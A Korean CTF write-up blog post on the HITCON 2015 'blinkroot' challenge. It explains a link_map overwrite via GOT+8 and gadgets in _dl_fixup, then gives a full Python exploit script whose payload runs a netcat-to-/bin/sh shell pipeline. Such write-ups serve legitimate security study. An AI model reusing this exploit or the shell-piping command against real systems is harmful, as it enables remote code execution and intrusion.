>

[hitcon2015] blinkroot

CTF 2015. 10. 20. 15:37


xmm0 low 에는 0x10이 고정으로 들어가고 xmm0 high에는 사용자 input 값이 들어가게 된다. offset에따라 메모리 공간을 덮는데, 음수로 지정해주면 GOT 부분을 덮을 수 있게 된다. 

하지만 movaps 명령으로 덮기 때문에 16byte로 aligned 된 공간 한정으로 덮을 수 있다.

즉, 0x00 0x10 이렇게 뒤가 0으로 떨어지는 공간만 덮을 수 있다. 

그렇기에 다른 영역은 거의 사용못하지만 GOT+8을 덮어서 dynamic linking에 사용되는 link_map 구조체를 덮을 수 있다.

덮은 직후 puts 함수를 호출하기 때문에 dynamic linker가 호출되고 그에따라 _dl_runtime_resolve, _dl_fixup 순으로 호출이 된다.

처음 접근은 fake link_map을 구성하여 _dl_lookup_symbol_x 를 호출하고 system 주소를 가져오는 것이었으나 애초에 link_map에서 symbol_scope나 version 등의 인자가 라이브러리 기준으로 가져오는 것이기 때문에 성공하지 못했다.

대신, _dl_fixup의 가젯들을 이용해서 exploit 하는데 성공했다.


exploit을 위해 _dl_fixup을 살펴보자


%rdi와 %rax는 link_map의 주소로 같은 값을 가진다.

핵심은 +67의 mov (%rax), %r9인데, 아래처럼 두번째 문기문에서 %rax로 맞춰줄 수 있기 때문이다.

그리고 이 %rax는 %rsi+8값과 더해져서 분기문을 거치고 call %rax로 점프를 한다.

즉 %rsi를 GOT로 맞춰주고 %rax를 system offset으로 맞춰준다면 저 분기문은 라이브러리 주소인 %rsi+4 값에 따라 달라질 것이니 몇 번 시도하다보면 system을 실행시킬 수 있을 것이다. 인자로 들어가는 rdi 또한 맞춰줄 수 있다.

testb 0x3, 0x5(%rsi) 구문이 _dl_fixup+427로 분기하도록 하는 rsi 값을 취해야한다.

puts나 exit는 한번도 호출되지 않았으므로 실제 주소를 가지고 있지 않다. 그래서 __libc_start_main이나 close같은 함수를 이용해서 offset을 계산해야한다.


#!/usr/bin/python


from socket import *

from struct import pack


p = lambda x:pack("<Q",x)


host = "localhost"

port = 7142


s = create_connection((host,port))


offset = 0xFFFFFFFFFFFFFf80 

link_map = 0x600bd0

rdi = 0x600cd8

rsi = 0x600b70 # read_got - 8

rdx = link_map


payload = ""

payload += p(offset)

payload += p(link_map)

# link_map


payload += p(-0xa68f0&0xffffffffffffffff) # offset

payload += p(rdi)

payload += p(2)

payload += p(rsi)

payload += p(7) # rcx = (link_map+8*3)+8

payload += p(rdx)

payload += p(6)

payload += p(7)

payload += p(8)

payload += p(9)

payload += p(10)

payload += p(11)

payload += p(12)

payload += p(link_map)

payload += p(link_map+16) 


for i in range(16):

payload += p(0x61)


payload += p(link_map+32)

payload += "PADDPADD"

payload += "nc localhost 4444 | /bin/sh | nc localhost 4445"


print len(payload)


payload += "\x00"*(1024-len(payload))


s.send(payload)

원샷 페이로드는 아니고 몇 번 시도하면 실행이 된다. while [ 1 ] ; do ; done 구문으로 하면 더 빠르게 쉘을 획득할 수 있다.




 

'CTF' 카테고리의 다른 글

[codegate2016] bugbug  (2) 2016.03.19
[HackIM] sandman  (0) 2016.03.03
[Layer7 2015] Reverse Me, Easy Rerversing  (0) 2015.09.01
Codegate 2015 bookstore  (0) 2015.03.17
christmas CTF Rudolph  (0) 2015.02.20
Posted by Mungsul
,